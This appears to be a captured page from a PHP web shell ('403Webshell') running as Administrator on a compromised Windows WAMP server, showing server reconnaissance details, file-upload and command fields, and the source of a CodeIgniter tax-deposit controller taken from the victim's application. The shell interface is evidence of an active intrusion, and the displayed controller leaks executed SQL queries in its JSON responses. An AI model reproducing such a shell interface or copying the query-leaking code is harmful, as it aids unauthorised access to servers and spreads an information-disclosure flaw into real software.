403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /wamp/www/sipkd_2016/application/modules/setoran_pajak/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /wamp/www/sipkd_2016/application/modules/setoran_pajak/controllers/setoran_pajak.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Setoran_pajak extends Aktivitas_Controller {

  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'setoran_pajak';
    $this->modul_display = 'Setoran Pajak';
    $this->view_form = 'setoranpajak_form';
    $this->view_daftar = 'setoranpajak_view';
    $this->report_daftar = 'Daftar Setoran Pajak';
    $this->report_form = 'Form Setoran Pajak';
    $this->load->model('Setoranpajak_model','data_model');

    $this->message_aktivitas_dihapus = 'Setoran Pajak telah dihapus.';
    $this->message_aktivitas_gagal_dihapus = 'Setoran Pajak telah dicairkan, tidak bisa dihapus.';
  }

  function validasi()
  {
    $this->form_validation->set_rules('id_skpd', 'SKPD PPKD', 'required|trim|integer');
    /* TODO : cek rincian ada isinya atau tidak */
    $this->form_validation->set_rules('rincian', 'Rincian Pajak', 'required');
    $this->form_validation->set_rules('sd', 'Rincian Sumber Dana', 'required');
  }

  function _cek_bku()
  {
    // lakukan pengecekan bku hanya untuk Setoran Pajak yang sudah disimpan
    // return TRUE jika sudah masuk BKU
    $id = (int) $this->input->post('id');
    if ($id != 0) return $this->data_model->check_bku($id);
    else return FALSE;
  }

  function get_extra_data($id)
  {
    $extra = array();

    $ppkd = $this->data_model->get_ppkd_skpd();
    $extra['id_skpd_ppkd'] = isset($ppkd['ID_SKPD']) && $ppkd['ID_SKPD'] ? $ppkd['ID_SKPD'] : 0;
    $extra['kode_skpd_ppkd'] = isset($ppkd['KODE_SKPD_LKP']) && $ppkd['KODE_SKPD_LKP'] ? $ppkd['KODE_SKPD_LKP'] : '';
    $extra['nama_skpd_ppkd'] = isset($ppkd['NAMA_SKPD']) && $ppkd['NAMA_SKPD'] ? $ppkd['NAMA_SKPD'] : '';

    return $extra;
  }

  protected function extra_message()
  {
    return array(
      'id_bku' => $this->data_model->id_bku,
      'no_bku' => $this->data_model->no_bku
    );
  }

  public function rinci($id=0)
  {
    $result = $this->data_model->get_rinci_by_id($id);
    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_PAJAK'];
        $response->rows[$i]['cell'] = array(
              $result[$i]['ID_PAJAK'],
              $result[$i]['NAMA_PAJAK'],
              $result[$i]['NOMINAL']
        );
      }
    }
    echo json_encode($response);
  }

  function sumberdana($id=0)
  {
    $result = $this->data_model->get_sumberdana_by_id($id);

    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_SUMBER_DANA'];
        $response->rows[$i]['cell']=array(
              $result[$i]['ID_SUMBER_DANA'],
              $result[$i]['KODE_REKENING'],
              $result[$i]['NAMA_REKENING'],
              $result[$i]['NOMINAL'],
        );
      }
    }
    echo json_encode($response);
  }

  public function sisa_pajak()
  {
    $param = array(
        'tanggal'  => $this->input->post('tanggal') ? $this->input->post('tanggal') : 0,
        'id_pajak' => $this->input->post('idp') ? $this->input->post('idp') : 0,
        'id' => $this->input->post('id') ? $this->input->post('id') : 0
    );

    $result = $this->data_model->get_sisa_pajak($param);

    $response = (object) NULL;
    $response = array(
          'idp' => $param['id_pajak'],
          'sisa' => isset($result['NOMINAL']) ? $result['NOMINAL'] : 0,
          'pajak' => isset($result['NOMINAL_PAJAK']) ? $result['NOMINAL_PAJAK'] : 0,
          'setor' => isset($result['NOMINAL_SETOR']) ? $result['NOMINAL_SETOR'] : 0,
          'sql' => $this->db->queries,
    );
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit